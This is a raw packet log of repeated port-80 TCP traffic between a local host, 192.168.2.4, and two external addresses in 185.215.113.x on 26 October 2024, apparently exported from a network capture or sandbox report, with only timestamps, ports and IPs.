Oct 26, 2024 05:55:10.253899097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.253931046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.253932953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.253961086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.253979921 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254012108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254013062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254057884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254060030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254108906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254108906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254143000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254158974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254175901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254194021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254214048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254221916 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254265070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254287958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254336119 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254337072 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254385948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254405975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254455090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254457951 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254492998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254503012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254528046 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254543066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254571915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254677057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254726887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254728079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254762888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254810095 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254848003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254880905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254906893 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254916906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.254929066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.254959106 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.255125999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.255182981 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.255209923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.255244017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.255258083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.255290985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.270209074 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270242929 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270276070 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270276070 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270301104 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270313978 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270328999 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270363092 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270373106 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270397902 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270415068 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270436049 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270446062 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270473003 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270483971 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270509005 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270519972 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270544052 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270555973 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270577908 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270590067 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270625114 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270857096 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.270912886 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.270947933 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271017075 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271193981 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271245956 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271246910 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271281958 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271295071 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271328926 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271380901 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271414042 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271426916 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271449089 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271460056 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271485090 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271497965 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271522045 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271528959 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271569967 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271573067 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271606922 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271625042 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271641016 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271655083 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271677017 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.271686077 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.271724939 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.410497904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410559893 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410562038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410594940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410602093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410629988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410651922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410686016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410691977 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410722017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410727024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410758018 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410784960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410804987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410871029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410900116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410911083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410936117 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.410943985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410973072 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.410986900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411020041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411020994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411052942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411053896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411091089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411235094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411273956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411286116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411336899 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411344051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411377907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411381006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411412001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411412954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411444902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411494017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411531925 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411546946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411581039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411581039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411643028 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411647081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411689997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411714077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411748886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411756039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411787033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411840916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411875963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411881924 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411911011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411916018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411946058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.411952019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.411981106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.412007093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.412017107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.425517082 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425553083 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425585985 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425590038 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425601006 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425621986 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425648928 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425656080 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425673962 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425689936 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425694942 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425724983 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425729990 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425772905 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425795078 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425839901 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425847054 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425880909 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425890923 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425921917 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.425962925 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.425997019 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426007032 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426032066 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426037073 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426071882 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426264048 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426310062 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426326990 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426362038 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426368952 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426404953 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426434040 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426466942 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426476002 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426500082 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426506996 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426542044 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426657915 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426701069 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426708937 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426743031 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426753998 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426803112 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426857948 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426891088 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426902056 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426927090 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426935911 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.426961899 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.426970005 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.427000999 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.567353964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567414045 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567416906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567444086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567455053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567483902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567497015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567529917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567538023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567570925 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567599058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567632914 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567640066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567682028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567688942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567717075 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567723036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567758083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567783117 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567826033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567847967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567888975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567898989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567930937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567935944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.567965031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.567967892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568001986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568099022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568128109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568156004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568160057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568170071 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568201065 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568212986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568244934 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568254948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568280935 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568309069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568353891 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568361044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568393946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568402052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568425894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568433046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568465948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568553925 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568595886 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568662882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568697929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568708897 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568734884 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568806887 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568839073 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568845034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568873882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.568877935 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.568917990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.569020987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.569061995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.569111109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.569150925 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.580914974 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.580965996 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.580977917 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581001043 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581012964 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581036091 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581039906 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581079006 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581084967 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581123114 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581135988 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581163883 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581176996 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581203938 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581216097 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581243992 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581258059 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581279993 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581295013 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581321955 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581336975 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581356049 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581361055 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581394911 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581407070 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581439972 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581444979 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581478119 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581481934 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581507921 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581518888 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581547022 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581681013 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581721067 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581743956 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581778049 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581788063 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581811905 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581816912 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581845999 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.581852913 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.581885099 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.582170963 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.582206964 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.582212925 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.582241058 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.582247019 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.582277060 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.582281113 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.582310915 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.582319021 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.582346916 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.582376003 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.582422018 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.582427979 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.582457066 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.582467079 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.582495928 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.724255085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724348068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724395990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724411011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724411011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724452019 CEST	80	49745	185.215.113.206	192.168.2.4
